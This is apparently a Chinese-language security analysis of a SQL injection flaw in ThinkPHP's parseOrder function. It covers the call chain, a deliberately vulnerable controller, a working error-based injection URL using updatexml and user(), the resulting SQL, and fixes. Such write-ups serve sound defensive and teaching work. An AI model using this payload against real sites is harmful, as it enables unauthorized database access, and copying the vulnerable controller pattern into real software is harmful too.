ThinkPHP SQL注入漏洞(CVE-2021-44350)分析
字数 1486 2025-08-07 08:22:27
ThinkPHP SQL注入漏洞(CVE-2021-44350)分析报告
1. 漏洞概述
漏洞名称:ThinkPHP SQL注入漏洞
CVE编号:CVE-2021-44350
影响组件:ThinkPHP框架中的Builder.php文件parseOrder函数
漏洞类型:SQL注入
威胁等级:高危
影响版本:ThinkPHP 5.0.x <= 5.1.22
2. 漏洞原理分析
2.1 漏洞根源
该漏洞源于ThinkPHP框架Builder.php文件中的parseOrder函数对用户输入数据过滤不严格,导致恶意构造的SQL语句被直接拼接到最终执行的SQL查询中。
2.2 关键问题点
-
输入处理流程:
- 用户通过HTTP请求传入恶意参数(如
?test[user^updatexml(1,concat(0x7,user(),0x7e),1)%23]=1) - 框架的
input()函数在Request.php中对请求参数进行初步处理 - 参数未经充分过滤直接传递到数据库查询构建阶段
- 用户通过HTTP请求传入恶意参数(如
-
关键函数调用链:
helper#db → Query#where → Query#order → Query#find → Builder#select → Builder#parseOrder → Mysql#parseKey -
漏洞触发点:
parseOrder函数调用parseKey对order子句的键名进行处理parseKey函数未对键名中的特殊字符进行过滤或转义- 恶意SQL片段被直接拼接到最终SQL语句中
3. 环境搭建与复现
3.1 测试环境要求
- PHP环境(建议5.6+)
- ThinkPHP 5.0.x-5.1.22版本
- MySQL数据库
- 调试工具:PHPStorm + Xdebug
3.2 数据库配置
在database.php中配置数据库连接信息:
return [
'type' => 'mysql',
'hostname' => '127.0.0.1',
'database' => 'test',
'username' => 'root',
'password' => 'root',
'hostport' => '3306',
];
3.3 漏洞复现代码
在控制器中添加测试代码:
public function index()
{
$test = input('test/a');
$result = db('user')->where($test)->order($test)->find();
return json($result);
}
3.4 触发漏洞
访问URL:
http://localhost/?test[user^updatexml(1,concat(0x7,user(),0x7e),1)%23]=1
4. 详细漏洞分析
4.1 请求处理流程
-
输入接收:
input('test/a')接收GET参数并转换为数组- 恶意参数存储在
$test变量中
-
数据库查询构建:
where()方法处理条件order()方法将恶意参数直接存储到$this->options['order']
-
SQL语句生成:
find()方法触发SQL构建Builder::select()方法处理各SQL子句parseOrder()处理order子句时未充分过滤
4.2 关键函数分析
Builder.php中的select方法:
public function select($options = [])
{
$sql = str_replace(
['%TABLE%', '%DISTINCT%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'],
[
$this->parseTable($options['table'], $options),
$this->parseDistinct($options['distinct']),
$this->parseField($options['field'], $options),
$this->parseJoin($options['join'], $options),
$this->parseWhere($options['where'], $options),
$this->parseGroup($options['group']),
$this->parseHaving($options['having']),
$this->parseOrder($options['order'], $options), // 漏洞点
$this->parseLimit($options['limit']),
$this->parseUnion($options['union']),
$this->parseLock($options['lock']),
$this->parseComment($options['comment']),
$this->parseForce($options['force'])
],
$this->selectSql
);
return $sql;
}
parseOrder函数问题:
protected function parseOrder($order, $options = [])
{
if (is_array($order)) {
$array = [];
foreach ($order as $key => $val) {
if (is_numeric($key)) {
$array[] = $this->parseKey($val, $options);
} else {
$array[] = $this->parseKey($key, $options) . ' ' . $val;
}
}
$order = implode(',', $array);
}
return !empty($order) ? ' ORDER BY ' . $order : '';
}
parseKey函数缺陷:
protected function parseKey($key, $options = [])
{
// 未对$key进行充分过滤,直接返回
return $key;
}
4.3 最终生成的恶意SQL
原始输入:
test[user^updatexml(1,concat(0x7,user(),0x7e),1)%23]=1
生成的SQL语句:
SELECT * FROM `user` ORDER BY user^updatexml(1,concat(0x7,user(),0x7e),1)#
5. 修复方案
5.1 官方修复
升级到ThinkPHP 5.1.23或更高版本,官方在后续版本中加强了对order字段的过滤。
5.2 临时解决方案
-
输入过滤:
public function index() { $test = input('test/a'); // 过滤特殊字符 $filtered = array_map(function($key, $value) { return [preg_replace('/[^a-zA-Z0-9_]/', '', $key) => $value]; }, array_keys($test), $test); $result = db('user')->where($filtered)->order($filtered)->find(); return json($result); } -
重写parseKey方法:
在自定义的Builder类中重写parseKey方法:protected function parseKey($key, $options = []) { if (!preg_match('/^[a-zA-Z0-9_\.]+$/', $key)) { throw new \Exception('Invalid order field'); } return parent::parseKey($key, $options); }
6. 漏洞防护建议
-
开发阶段:
- 对所有用户输入进行严格过滤和验证
- 使用框架提供的参数绑定机制
- 避免直接拼接用户输入到SQL语句中
-
运维阶段:
- 定期更新框架到最新版本
- 部署WAF防护SQL注入攻击
- 限制数据库账户权限
-
代码审计:
- 检查所有使用order、where等方法的代码
- 特别注意直接使用用户输入作为查询条件的场景
7. 总结
该漏洞暴露了ThinkPHP框架在早期版本中对SQL查询构建过程中对用户输入过滤不足的问题。通过精心构造的恶意参数,攻击者可利用order子句实现SQL注入,获取数据库敏感信息或进行其他恶意操作。开发者应重视所有用户输入点的安全过滤,并保持框架版本的及时更新。